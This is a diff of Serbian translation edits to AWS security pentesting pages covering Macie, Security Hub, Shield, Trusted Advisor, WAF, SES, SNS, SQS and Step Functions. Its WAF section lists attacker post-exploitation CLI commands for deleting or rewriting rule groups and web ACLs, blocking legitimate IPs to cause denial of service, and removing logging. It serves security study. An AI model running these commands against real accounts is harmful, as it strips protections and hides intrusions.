@@ -31,16 +31,16 @@ Macie kategorizuje upozorenja u unapred definisane kategorije kao što su:
Ova upozorenja pružaju detaljne opise i analize rezultata za efikasan odgovor i rešavanje.
### Dashboard Features
### Karakteristike kontrolne table
Kontrolna tabla kategorizuje podatke u različite sekcije, uključujući:
- S3 objekti (po vremenskom opsegu, ACL, PII)
- Visoko rizični CloudTrail događaji/korisnici
- Lokacije aktivnosti
- Tipovi identiteta CloudTrail korisnika, i više.
- Tipovi identiteta CloudTrail korisnika, i još mnogo toga.
### User Categorization
### Kategorizacija korisnika
Korisnici su klasifikovani u nivoe na osnovu nivoa rizika njihovih API poziva:
@@ -49,22 +49,22 @@ Korisnici su klasifikovani u nivoe na osnovu nivoa rizika njihovih API poziva:
- **Silver**: Srednje rizični API pozivi.
- **Bronze**: Nisko rizični API pozivi.
### Identity Types
### Tipovi identiteta
Tipovi identiteta uključuju Root, IAM korisnika, Pretpostavljenu ulogu, Federisanog korisnika, AWS nalog i AWS uslugu, ukazujući na izvor zahteva.
### Data Classification
### Klasifikacija podataka
Klasifikacija podataka obuhvata:
- Content-Type: Na osnovu otkrivenog tipa sadržaja.
- File Extension: Na osnovu ekstenzije datoteke.
- Theme: Kategorizovano prema ključnim rečima unutar datoteka.
- Regex: Kategorizovano na osnovu specifičnih regex obrazaca.
- Ekstenzija fajla: Na osnovu ekstenzije fajla.
- Tema: Kategorizovana prema ključnim rečima unutar fajlova.
- Regex: Kategorizovana na osnovu specifičnih regex obrazaca.
Najveći rizik među ovim kategorijama određuje konačni nivo rizika datoteke.
Najveći rizik među ovim kategorijama određuje konačni nivo rizika fajla.
### Research and Analysis
### Istraživanje i analiza
Funkcija istraživanja Amazon Macie omogućava prilagođene upite preko svih Macie podataka za dubinsku analizu. Filteri uključuju CloudTrail podatke, S3 Bucket svojstva i S3 objekte. Pored toga, podržava pozivanje drugih naloga da dele Amazon Macie, olakšavajući kolaborativno upravljanje podacima i praćenje bezbednosti.
@@ -101,11 +101,11 @@ aws macie2 list-classification-jobs
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
```
#### Post Exploatacija
#### Post Eksploatacija
> [!TIP]
> Iz perspektive napadača, ova usluga nije napravljena da detektuje napadača, već da detektuje osetljive informacije u sačuvanim datotekama. Stoga, ova usluga može **pomoći napadaču da pronađe osetljive informacije** unutar kanti.\
> Međutim, možda bi napadač takođe mogao biti zainteresovan da je ometa kako bi sprečio žrtvu da dobije upozorenja i lakše ukrade te informacije.
> Međutim, možda bi napadač takođe mogao biti zainteresovan da je ometa kako bi sprečio žrtvu da dobije upozorenja i lakše ukrao te informacije.
TODO: PR-ovi su dobrodošli!
@@ -4,7 +4,7 @@
## Security Hub
**Security Hub** prikuplja bezbednosne **podatke** iz **različitih AWS naloga**, usluga i podržanih proizvoda trećih strana i pomaže vam da **analizirate svoju bezbednost** i identifikujete najprioritetnije bezbednosne probleme.
**Security Hub** prikuplja bezbednosne **podatke** iz **različitih AWS naloga**, usluga i podržanih proizvoda trećih strana i pomaže vam da **analizirate svoje bezbednosne** trendove i identifikujete najprioritetnije bezbednosne probleme.
Ona **centralizuje bezbednosne alarme između naloga**, i pruža UI za pregled ovih. Najveće ograničenje je to što **ne centralizuje alarme između regiona**, samo između naloga.
@@ -49,11 +49,11 @@ aws securityhub list-automation-rules
aws securityhub list-members
aws securityhub get-members --account-ids <acc-id>
```
## Bypass Detection
## Zaobilaženje Detekcije
TODO, PRs accepted
TODO, PR-ovi su prihvaćeni
## References
## Reference
- [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info)
- [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html)
@@ -8,7 +8,7 @@ AWS Shield je dizajniran da pomogne **u zaštiti vaše infrastrukture od distrib
**AWS Shield Standard** je **besplatan** za sve, i nudi **DDoS zaštitu** protiv nekih od uobičajenih napada na trećem sloju, **mrežnom sloju**, i četvrtom sloju, **transportnom sloju**. Ova zaštita je integrisana sa CloudFront i Route 53.
**AWS Shield Advanced** nudi **veći nivo zaštite** za DDoS napade širom šireg spektra AWS usluga uz dodatni trošak. Ovaj napredni nivo nudi zaštitu za vaše web aplikacije koje rade na EC2, CloudFront, ELB, kao i Route 53. Pored ovih dodatnih tipova resursa koji su zaštićeni, postoje poboljšani nivoi DDoS zaštite u poređenju sa Standard verzijom. Takođe ćete imati **pristup specijalizovanom DDoS timu za odgovor 24/7 u AWS-u, poznatom kao DRT**.
**AWS Shield Advanced** nudi **veći nivo zaštite** za DDoS napade širom šireg spektra AWS usluga uz dodatnu naknadu. Ovaj napredni nivo nudi zaštitu za vaše web aplikacije koje rade na EC2, CloudFront, ELB, kao i Route 53. Pored ovih dodatnih tipova resursa koji su zaštićeni, postoje poboljšani nivoi DDoS zaštite u poređenju sa Standard verzijom. Takođe ćete imati **pristup specijalizovanom DDoS timu za odgovor 24/7 u AWS-u, poznatom kao DRT**.
Dok je Standard verzija Shield-a nudila zaštitu protiv trećeg i četvrtog sloja, **Advanced takođe nudi zaštitu protiv sedmog sloja, aplikacionih, napada.**
@@ -4,7 +4,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
## AWS Trusted Advisor Overview
## AWS Trusted Advisor Pregled
Trusted Advisor je usluga koja **pruža preporuke** za optimizaciju vašeg AWS naloga, usklađujući se sa **AWS najboljim praksama**. To je usluga koja funkcioniše u više regiona. Trusted Advisor nudi uvide u četiri glavne kategorije:
@@ -15,56 +15,56 @@ Trusted Advisor je usluga koja **pruža preporuke** za optimizaciju vašeg AWS n
Sveobuhvatne funkcije Trusted Advisor-a su isključivo dostupne uz **AWS poslovne ili preduzetničke planove podrške**. Bez ovih planova, pristup je ograničen na **šest osnovnih provera**, prvenstveno fokusiranih na performanse i bezbednost.
### Notifications and Data Refresh
### Obaveštenja i Osvežavanje Podataka
- Trusted Advisor može izdavati upozorenja.
- Stavke se mogu isključiti iz njegovih provera.
- Podaci se osvežavaju svake 24 sata. Međutim, ručno osvežavanje je moguće 5 minuta nakon poslednjeg osvežavanja.
### **Checks Breakdown**
### **Razlaganje Provera**
#### CategoriesCore
#### KategorijeOsnovne
1. Optimizacija troškova
2. Bezbednost
3. Otpornost na greške
4. Performanse
5. Ograničenja usluga
6. S3 dozvole za kante
6. Dozvole S3 Bucket-a
#### Core Checks
#### Osnovne Provere
Ograničeno na korisnike bez poslovnih ili preduzetničkih planova podrške:
1. Bezbednosne grupe - Specifične portove bez ograničenja
1. Grupa bezbednosti - Specifične portove bez ograničenja
2. Korišćenje IAM-a
3. MFA na root nalogu
4. EBS javni snimci
5. RDS javni snimci
3. MFA na Root nalogu
4. Javni EBS snimci
5. Javni RDS snimci
6. Ograničenja usluga
#### Security Checks
#### Provere Bezbednosti
Lista provera koja se prvenstveno fokusira na identifikaciju i ispravljanje bezbednosnih pretnji:
- Podešavanja bezbednosnih grupa za visoko rizične portove
- Neograničen pristup bezbednosnim grupama
- Otvoren pristup za pisanje/listanje na S3 kante
- Podešavanja grupa bezbednosti za visoko rizične portove
- Neograničen pristup grupama bezbednosti
- Otvoren pristup za pisanje/listanje S3 bucket-a
- MFA omogućeno na root nalogu
- Popustljivost bezbednosne grupe RDS-a
- Popustljivost grupe bezbednosti RDS-a
- Korišćenje CloudTrail-a
- SPF zapisi za Route 53 MX zapise
- HTTPS konfiguracija na ELB-ima
- Bezbednosne grupe za ELB-e
- Grupe bezbednosti za ELB-e
- Provere sertifikata za CloudFront
- Rotacija IAM pristupnih ključeva (90 dana)
- Izloženost pristupnim ključevima (npr. na GitHub-u)
- Javni pristup EBS ili RDS snimcima
- Izloženost pristupnih ključeva (npr. na GitHub-u)
- Javna vidljivost EBS ili RDS snimaka
- Slabe ili odsutne politike lozinki za IAM
AWS Trusted Advisor deluje kao ključni alat u osiguravanju optimizacije, performansi, bezbednosti i otpornosti na greške AWS usluga na osnovu utvrđenih najboljih praksi.
## **References**
## **Reference**
- [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor)
@@ -6,13 +6,13 @@
## AWS WAF
AWS WAF je **vatrozid za web aplikacije** dizajniran da **zaštiti web aplikacije ili API-je** od raznih web eksploatacija koje mogu uticati na njihovu dostupnost, sigurnost ili potrošnju resursa. Omogućava korisnicima da kontrolišu dolazni saobraćaj postavljanjem **pravila sigurnosti** koja ublažavaju tipične vektore napada kao što su SQL injekcija ili cross-site scripting, kao i definisanjem prilagođenih pravila filtriranja.
AWS WAF je **vatrozid za web aplikacije** dizajniran da **zaštiti web aplikacije ili API-je** od raznih web eksploatacija koje mogu uticati na njihovu dostupnost, sigurnost ili potrošnju resursa. Omogućava korisnicima da kontrolišu dolazni saobraćaj postavljanjem **pravila sigurnosti** koja ublažavaju tipične vektore napada kao što su SQL injekcija ili skriptovanje između sajtova, kao i definisanjem prilagođenih pravila filtriranja.
### Ključni koncepti
#### Web ACL (Lista kontrole pristupa)
Web ACL je zbirka pravila koja možete primeniti na svoje web aplikacije ili API-je. Kada povežete Web ACL sa resursom, AWS WAF inspekcioniše dolazne zahteve na osnovu pravila definisanih u Web ACL-u i preduzima određene akcije.
Web ACL je zbirka pravila koja možete primeniti na svoje web aplikacije ili API-je. Kada povežete Web ACL sa resursom, AWS WAF ispituje dolazne zahteve na osnovu pravila definisanih u Web ACL-u i preduzima određene akcije.
#### Grupa pravila
@@ -22,7 +22,7 @@ Svaka grupa pravila ima svoju povezanu **kapacitet**, koja pomaže u izračunava
#### Pravilo
Pravilo definiše skup uslova koje AWS WAF koristi za inspekciju dolaznih web zahteva. Postoje dve glavne vrste pravila:
Pravilo definiše skup uslova koje AWS WAF koristi za ispitivanje dolaznih web zahteva. Postoje dve glavne vrste pravila:
1. **Redovno pravilo**: Ova vrsta pravila koristi određene uslove da odredi da li da dozvoli, blokira ili broji web zahteve.
2. **Pravilo zasnovano na brzini**: Broji zahteve sa određene IP adrese tokom petominutnog perioda. Ovde korisnici definišu prag, i ako broj zahteva sa IP adrese premaši ovaj limit unutar pet minuta, naredni zahtevi sa te IP adrese se blokiraju dok stopa zahteva ne padne ispod praga. Minimalni prag za pravila zasnovana na brzini je **2000 zahteva**.
@@ -51,7 +51,7 @@ API ključevi u AWS WAF se koriste za autentifikaciju zahteva za određene API o
#### Politika dozvola
Politika dozvola je IAM politika koja specificira ko može da izvršava radnje na AWS WAF resursima. Definisanjem dozvola možete kontrolisati pristup WAF resursima i osigurati da samo ovlašćeni korisnici mogu da kreiraju, ažuriraju ili brišu konfiguracije.
Politika dozvola je IAM politika koja specificira ko može da vrši radnje na AWS WAF resursima. Definisanjem dozvola možete kontrolisati pristup WAF resursima i osigurati da samo ovlašćeni korisnici mogu da kreiraju, ažuriraju ili brišu konfiguracije.
#### Opseg
@@ -71,16 +71,16 @@ Svaki AWS nalog može konfigurisati:
- **100 uslova** za svaku vrstu (osim za Regex, gde je dozvoljeno samo **10 uslova**, ali ovaj limit može biti povećan).
- **100 pravila** i **50 Web ACL-a**.
- Maksimalno **5 pravila zasnovanih na brzini**.
- Propusnost od **10,000 zahteva po sekundi** kada je WAF implementiran sa aplikacionim load balancerom.
- Propusnost od **10,000 zahteva po sekundi** kada je WAF implementiran sa aplikacionim balansirnikom opterećenja.
#### Akcije pravila
Akcije su dodeljene svakom pravilu, a opcije su:
- **Dozvoli**: Zahtev se prosleđuje odgovarajućoj CloudFront distribuciji ili Application Load Balancer-u.
- **Dozvoli**: Zahtev se prosleđuje odgovarajućoj CloudFront distribuciji ili aplikacionom balansirniku opterećenja.
- **Blokiraj**: Zahtev se odmah prekida.
- **Broj**: Broji zahteve koji ispunjavaju uslove pravila. Ovo je korisno za testiranje pravila, potvrđivanje tačnosti pravila pre nego što se postavi na Dozvoli ili Blokiraj.
- **CAPTCHA i Izazov:** Proverava se da zahtev ne dolazi od bota koristeći CAPTCHA zagonetke i tihe izazove.
- **CAPTCHA i izazov:** Proverava se da zahtev ne dolazi od bota koristeći CAPTCHA zagonetke i tihe izazove.
Ako zahtev ne odgovara nijednom pravilu unutar Web ACL-a, podvrgava se **podrazumevanoj akciji** (Dozvoli ili Blokiraj). Redosled izvršenja pravila, definisan unutar Web ACL-a, je ključan i obično prati ovu sekvencu:
@@ -188,7 +188,7 @@ aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
### Post Exploatacija / Obilaženje
> [!TIP]
> Sa stanovišta napadača, ova usluga može pomoći napadaču da identifikuje WAF zaštite i mrežne izloženosti koje bi mu mogle pomoći da kompromituje druge veb stranice.
> Iz perspektive napadača, ova usluga može pomoći napadaču da identifikuje WAF zaštite i mrežne izloženosti koje bi mu mogle pomoći da kompromituje druge veb stranice.
>
> Međutim, napadač bi takođe mogao biti zainteresovan za ometanje ove usluge kako veb stranice ne bi bile zaštićene WAF-om.
@@ -198,9 +198,9 @@ U mnogim operacijama brisanja i ažuriranja biće neophodno obezbediti **lock to
Napadač bi mogao da kompromituje bezbednost pogođenog resursa na sledeće načine:
- Kreiranjem grupa pravila koje bi, na primer, mogle blokirati legitimni saobraćaj sa legitimnih IP adresa, uzrokujući uskraćivanje usluge.
- Ažuriranjem grupa pravila, sa mogućnošću da modifikuje njihove akcije, na primer, sa **Block** na **Allow**.
- Brisanjem grupa pravila koje pružaju kritične mere bezbednosti.
- Kreiranjem pravnih grupa koje bi, na primer, mogle blokirati legitimni saobraćaj sa legitimnih IP adresa, uzrokujući uskraćivanje usluge.
- Ažuriranjem pravnih grupa, sa mogućnošću da modifikuje njihove akcije, na primer, sa **Block** na **Allow**.
- Brisanjem pravnih grupa koje pružaju kritične mere bezbednosti.
```bash
# Create Rule Group
aws wafv2 create-rule-group --name <value> --capacity <value> --visibility-config <value> \
@@ -211,7 +211,7 @@ aws wafv2 update-rule-group --name <value> --id <value> --visibility-config <val
# Delete Rule Group
aws wafv2 delete-rule-group --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
Следећи примери показују групу правила која би блокирала легитиман саобраћај са специфичних IP адреса:
Sledeći primeri prikazuju grupu pravila koja bi blokirala legitimni saobraćaj sa specifičnih IP adresa:
```bash
aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json
```
@@ -237,17 +237,17 @@ Datoteka **rule.json** bi izgledala ovako:
}
]
```
**Potencijalni Uticaj**: Neovlašćen pristup, curenje podataka i potencijalni DoS napadi.
**Potencijalni uticaj**: Neovlašćen pristup, curenje podataka i potencijalni DoS napadi.
#### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`**
Sa ovim dozvolama, napadač bi mogao da:
- Kreira novi Web ACL, uvodeći pravila koja ili dozvoljavaju zlonamerni saobraćaj ili blokiraju legitimni saobraćaj, čime efikasno čini WAF beskorisnim ili uzrokuje uskraćivanje usluge.
- Kreira novi Web ACL, uvodeći pravila koja ili dozvoljavaju zlonamerni saobraćaj ili blokiraju legitimni saobraćaj, efektivno čini WAF beskorisnim ili uzrokujući uskraćivanje usluge.
- Ažurira postojeće Web ACL-ove, imajući mogućnost da modifikuje pravila kako bi dozvolio napade kao što su SQL injekcija ili cross-site scripting, koji su prethodno bili blokirani, ili ometa normalan protok saobraćaja blokirajući validne zahteve.
- Obriše Web ACL, ostavljajući pogođene resurse potpuno nezaštićenim, izlažući ih širokom spektru web napada.
> [!NOTE]
> [!NAPOMENA]
> Možete obrisati navedeni **WebACL** samo ako je **ManagedByFirewallManager** false.
```bash
# Create Web ACL
@@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --
# Delete Web ACL
aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
Sledeći primeri pokazuju kako ažurirati Web ACL da blokira legitimni saobraćaj iz određenog IP skupa. Ako izvorni IP ne odgovara nijednom od tih IP adresa, podrazumevana akcija bi takođe bila blokiranje, što uzrokuje DoS.
Sledeći primeri pokazuju kako ažurirati Web ACL da blokira legitimni saobraćaj iz specifičnog IP skupa. Ako izvorni IP ne odgovara nijednom od tih IP adresa, podrazumevana akcija bi takođe bila blokiranje, što može izazvati DoS.
**Original Web ACL**:
```json
@@ -329,11 +329,11 @@ Datoteka **rule.json** bi izgledala ovako:
}
]
```
**Potencijalni Uticaj**: Neovlašćen pristup, curenje podataka i potencijalni DoS napadi.
**Potencijalni uticaj**: Neovlašćen pristup, curenje podataka i potencijalni DoS napadi.
#### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
Dozvola **`wafv2:AssociateWebACL`** bi omogućila napadaču da poveže web ACL-ove (Liste Kontrole Pristupa) sa resursima, što bi omogućilo zaobilaženje bezbednosnih kontrola, dopuštajući neovlašćenoj saobraćaju da dođe do aplikacije, potencijalno dovodeći do eksploatacija poput SQL injekcije ili cross-site scripting (XSS). S druge strane, sa dozvolom **`wafv2:DisassociateWebACL`**, napadač bi mogao privremeno onemogućiti bezbednosne zaštite, izlažući resurse ranjivostima bez otkrivanja.
Dozvola **`wafv2:AssociateWebACL`** bi omogućila napadaču da poveže web ACL-ove (Liste za kontrolu pristupa) sa resursima, što bi omogućilo zaobilaženje bezbednosnih kontrola, dopuštajući neovlašćenoj saobraćaju da dođe do aplikacije, što potencijalno može dovesti do eksploatacija poput SQL injekcije ili cross-site scripting (XSS). S druge strane, sa dozvolom **`wafv2:DisassociateWebACL`**, napadač bi mogao privremeno onemogućiti bezbednosne zaštite, izlažući resurse ranjivostima bez detekcije.
Dodatne dozvole bi bile potrebne u zavisnosti od tipa zaštićenog resursa:
@@ -357,7 +357,7 @@ aws wafv2 associate-web-acl --web-acl-arn <value> --resource-arn <value>
# Disassociate
aws wafv2 disassociate-web-acl --resource-arn <value>
```
**Potencijalni uticaj**: Kompromitovana sigurnost resursa, povećan rizik od eksploatacije i potencijalni prekidi usluga unutar AWS okruženja zaštićenih AWS WAF-om.
**Potencijalni uticaj**: Kompromitovana sigurnost resursa, povećan rizik od eksploatacije i potencijalne prekide usluga unutar AWS okruženja zaštićenih AWS WAF-om.
#### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
@@ -380,9 +380,9 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a
Napadač sa ovim dozvolama mogao bi da manipuliše skupovima obrazaca regularnih izraza koje koristi AWS WAF za kontrolu i filtriranje dolaznog saobraćaja na osnovu specifičnih obrazaca.
- Kreiranje novih regex obrazaca bi pomoglo napadaču da dozvoli štetan sadržaj
- Kreiranje novih regex obrazaca bi pomoglo napadaču da dozvoli štetni sadržaj
- Ažuriranjem postojećih obrazaca, napadač bi mogao da zaobiđe sigurnosna pravila
- Brisanje obrazaca koji su dizajnirani da blokiraju zlonamerne aktivnosti moglo bi omogućiti napadaču da pošalje zlonamerne payload-ove i zaobiđe sigurnosne mere.
- Brisanje obrazaca koji su dizajnirani da blokiraju zlonamerne aktivnosti moglo bi omogućiti napadaču da pošalje zlonamerne terete i zaobiđe sigurnosne mere.
```bash
# Create regex pattern set
aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
@@ -391,7 +391,7 @@ aws wafv2 update-regex-pattern-set --name <value> --id <value> --regular-express
# Delete regex pattern set
aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --id <value> --lock-token <value>
```
**Potencijalni uticaj**: Obilaženje bezbednosnih kontrola, omogućavanje zlonamernog sadržaja i potencijalno izlaganje osetljivih podataka ili ometanje usluga i resursa zaštićenih AWS WAF-om.
**Potencijalni uticaj**: Zaobilaženje bezbednosnih kontrola, omogućavanje zlonamernog sadržaja i potencijalno izlaganje osetljivih podataka ili ometanje usluga i resursa zaštićenih AWS WAF-om.
#### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
@@ -401,9 +401,9 @@ Tokom procesa kreiranja, servis automatski postavlja potrebne dozvole da omoguć
- **Amazon CloudWatch Logs:** AWS WAF kreira politiku resursa na određenoj CloudWatch Logs log grupi. Ova politika osigurava da AWS WAF ima potrebne dozvole za pisanje logova u log grupu.
- **Amazon S3 Bucket:** AWS WAF kreira politiku bucket-a na određenom S3 bucket-u. Ova politika dodeljuje AWS WAF-u potrebne dozvole za upload logova u specificirani bucket.
- **Amazon Kinesis Data Firehose:** AWS WAF kreira ulogu povezanu sa servisom posebno za interakciju sa Kinesis Data Firehose. Ova uloga omogućava AWS WAF-u da isporučuje logove u konfigurisan Firehose stream.
- **Amazon Kinesis Data Firehose:** AWS WAF kreira ulogu povezanu sa servisom specifično za interakciju sa Kinesis Data Firehose. Ova uloga omogućava AWS WAF-u da isporučuje logove u konfigurisan Firehose stream.
> [!NOTE]
> [!NAPOMENA]
> Moguće je definisati samo jednu destinaciju logovanja po web ACL-u.
```bash
# Put logging configuration
@@ -411,16 +411,16 @@ aws wafv2 put-logging-configuration --logging-configuration <value>
# Delete logging configuration
aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
```
**Potencijalni Uticaj:** Zamagljena vidljivost u bezbednosne događaje, otežan proces odgovora na incidente i olakšavanje tajnih zlonamernih aktivnosti unutar AWS WAF-zaštićenih okruženja.
**Potencijalni uticaj:** Zamagljena vidljivost u bezbednosne događaje, otežan proces odgovora na incidente i olakšavanje tajnih zlonamernih aktivnosti unutar AWS WAF-zaštićenih okruženja.
#### **`wafv2:DeleteAPIKey`**
Napadač sa ovim dozvolama bi mogao da obriše postojeće API ključeve, čineći CAPTCHA neefikasnim i ometajući funkcionalnost koja se na njemu oslanja, kao što su slanje obrazaca i kontrole pristupa. U zavisnosti od implementacije ovog CAPTCHA, to bi moglo dovesti ili do zaobilaženja CAPTCHA ili do DoS-a ako upravljanje greškama nije pravilno postavljeno u resursu.
Napadač sa ovim dozvolama mogao bi da obriše postojeće API ključeve, čineći CAPTCHA neefikasnim i ometajući funkcionalnost koja se na njemu oslanja, kao što su slanje obrazaca i kontrole pristupa. U zavisnosti od implementacije ovog CAPTCHA, to bi moglo dovesti do zaobilaženja CAPTCHA ili do DoS-a ako upravljanje greškama nije pravilno postavljeno u resursu.
```bash
# Delete API key
aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
**Potencijalni uticaj**: Onemogućavanje CAPTCHA zaštita ili ometanje funkcionalnosti aplikacije, što može dovesti do bezbednosnih propusta i potencijalne krađe podataka.
**Potencijalni uticaj**: Onemogućavanje CAPTCHA zaštita ili ometanje funkcionalnosti aplikacije, što dovodi do bezbednosnih propusta i potencijalne krađe podataka.
#### **`wafv2:TagResource`, `wafv2:UntagResource`**
@@ -431,7 +431,7 @@ aws wafv2 tag-resource --resource-arn <value> --tags <value>
# Untag
aws wafv2 untag-resource --resource-arn <value> --tag-keys <value>
```
**Potencijalni uticaj**: Manipulacija resursima, curenje informacija, manipulacija troškovima i operativna prekid.
**Potencijalni uticaj**: Manipulacija resursima, curenje informacija, manipulacija troškovima i operativne smetnje.
## Reference
@@ -10,7 +10,7 @@ Potrebno je registrovati **identitete**, koji mogu biti domeni ili email adrese
### SMTP korisnik
Moguće je povezati se na **SMTP server AWS-a da bi se izvršile radnje** umesto korišćenja AWS API-ja (ili pored njega). Za to je potrebno kreirati korisnika sa politikom kao što je:
Moguće je povezati se na **SMTP server AWS-a da bi se izvršavale radnje** umesto korišćenja AWS API-ja (ili pored njega). Za to je potrebno kreirati korisnika sa politikom kao što je:
```json
{
"Version": "2012-10-17",
@@ -23,7 +23,7 @@ Moguće je povezati se na **SMTP server AWS-a da bi se izvršile radnje** umesto
]
}
```
Zatim, prikupite **API ključ i tajnu** korisnika i pokrenite:
Zatim prikupite **API ključ i tajnu** korisnika i pokrenite:
```bash
git clone https://github.com/lisenet/ses-smtp-converter.git
cd ./ses-smtp-converter
@@ -32,10 +32,10 @@ chmod u+x ./ses-smtp-conv.sh
```
Takođe je moguće to uraditi iz AWS konzole na vebu.
### Enumeration
### Enumeracija
> [!WARNING]
> Imajte na umu da SES ima 2 API-ja: **`ses`** i **`sesv2`**. Neke akcije su u oba API-ja, a druge su samo u jednom od ta dva.
> Imajte na umu da SES ima 2 API-ja: **`ses`** i **`sesv2`**. Neke akcije su u oba API-ja, a druge su samo u jednom od njih.
```bash
# Get info about the SES account
aws sesv2 get-account
@@ -112,7 +112,7 @@ aws ses get-send-quota
## Get statistics
aws ses get-send-statistics
```
### Post Exploitation
### Post Eksploatacija
{{#ref}}
../aws-post-exploitation/aws-ses-post-exploitation.md
@@ -4,14 +4,14 @@
## SNS
Amazon Simple Notification Service (Amazon SNS) se opisuje kao **potpuno upravljana usluga za razmenu poruka**. Podržava i **komunikacione tipove između aplikacija** (A2A) i **komunikacione tipove između aplikacije i osobe** (A2P).
Amazon Simple Notification Service (Amazon SNS) se opisuje kao **potpuno upravljana usluga za razmenu poruka**. Podržava **komunikacione tipove između aplikacija** (A2A) i **komunikacione tipove između aplikacije i osobe** (A2P).
Ključne karakteristike za A2A komunikaciju uključuju **mehanizme objavljivanja/pretplate (pub/sub)**. Ovi mehanizmi uvode **teme**, koje su ključne za omogućavanje visoke propusnosti, **push-bazirane, mnoge-na-mnoge razmene poruka**. Ova funkcija je veoma korisna u scenarijima koji uključuju distribuirane sisteme, mikroservise i arhitekture bez servera zasnovane na događajima. Korišćenjem ovih tema, sistemi za objavljivanje mogu efikasno distribuirati poruke širokom spektru sistema za pretplatu, olakšavajući obrazac razmene poruka.
### **Razlika sa SQS**
**SQS** je **usluga zasnovana na redovima** koja omogućava komunikaciju tačka-tačka, osiguravajući da poruke obrađuje **jedan potrošač**. Nudi **isporuku najmanje jednom**, podržava standardne i FIFO redove, i omogućava zadržavanje poruka za ponovne pokušaje i odloženu obradu.\
S druge strane, **SNS** je **usluga zasnovana na objavljivanju/pretplati**, koja omogućava **jedan-na-mnoge** komunikaciju emitovanjem poruka **više pretplatnika** istovremeno. Podržava **različite tačke pretplate kao što su email, SMS, Lambda funkcije i HTTP/HTTPS**, i pruža mehanizme filtriranja za ciljanje isporuke poruka.\
S druge strane, **SNS** je **usluga zasnovana na objavljivanju/pretplati**, omogućavajući **jedan-na-mnoge** komunikaciju emitovanjem poruka **više pretplatnika** istovremeno. Podržava **različite krajnje tačke pretplate kao što su email, SMS, Lambda funkcije i HTTP/HTTPS**, i pruža mehanizme filtriranja za ciljanje isporuke poruka.\
Dok obe usluge omogućavaju odvajanje između komponenti u distribuiranim sistemima, SQS se fokusira na komunikaciju putem redova, dok SNS naglašava komunikacione obrasce zasnovane na događajima i širenju.
### **Enumeracija**
@@ -64,7 +64,7 @@ aws sns subscribe --region <region>\
../aws-post-exploitation/aws-sns-post-exploitation.md
{{#endref}}
#### Postojanost
#### Perzistencija
{{#ref}}
../aws-persistence/aws-sns-persistence.md
@@ -4,7 +4,7 @@
## SQS
Amazon Simple Queue Service (SQS) se predstavlja kao **potpuno upravljana usluga za redove poruka**. Njegova glavna funkcija je da pomogne u skaliranju i odvojenju mikroservisa, distribuiranih sistema i serverless aplikacija. Usluga je dizajnirana da ukloni potrebu za upravljanjem i radom sa middleware-om orijentisanim na poruke, što može često biti složeno i resursno intenzivno. Ova eliminacija složenosti omogućava programerima da usmere svoje napore ka inovativnijim i diferenciranim aspektima svog rada.
Amazon Simple Queue Service (SQS) se predstavlja kao **potpuno upravljana usluga za redove poruka**. Njegova glavna funkcija je da pomogne u skaliranju i odvojenju mikroservisa, distribuiranih sistema i serverless aplikacija. Usluga je dizajnirana da eliminiše potrebu za upravljanjem i radom sa middleware-om orijentisanim na poruke, što može često biti složeno i resursno intenzivno. Ova eliminacija složenosti omogućava programerima da usmere svoje napore ka inovativnijim i diferenciranim aspektima svog rada.
### Enumeration
```bash
@@ -38,7 +38,7 @@ aws sqs send-message --queue-url <value> --message-body <value>
../aws-post-exploitation/aws-sqs-post-exploitation.md
{{#endref}}
#### Postojanost
#### Perzistencija
{{#ref}}
../aws-persistence/aws-sqs-persistence.md
@@ -12,24 +12,24 @@ AWS Step Functions je servis za radne tokove koji vam omogućava da koordinirate
AWS Step Functions nudi dva tipa **state machine workflows**: Standardni i Express.
- **Standardni Radni Tok**: Ova podrazumevana vrsta radnog toka je dizajnirana za dugotrajne, trajne i auditable procese. Podržava **exactly-once execution**, osiguravajući da se zadaci izvršavaju samo jednom osim ako nisu navedeni ponovni pokušaji. Idealna je za radne tokove koji zahtevaju detaljnu istoriju izvršenja i može trajati do jedne godine.
- **Express Radni Tok**: Ova vrsta je idealna za zadatke visokog obima i kratkog trajanja, koji traju do pet minuta. Podržavaju **at-least-once execution**, pogodna za idempotentne zadatke kao što je obrada podataka. Ovi radni tokovi su optimizovani za troškove i performanse, naplaćujući se na osnovu izvršenja, trajanja i korišćenja memorije.
- **Standardni Radni Tok**: Ova podrazumevana vrsta radnog toka je dizajnirana za dugotrajne, izdržljive i auditable procese. Podržava **tačno-jednom izvršenje**, osiguravajući da se zadaci izvršavaju samo jednom osim ako nisu navedeni ponovni pokušaji. Idealna je za radne tokove koji zahtevaju detaljnu istoriju izvršenja i može trajati do jedne godine.
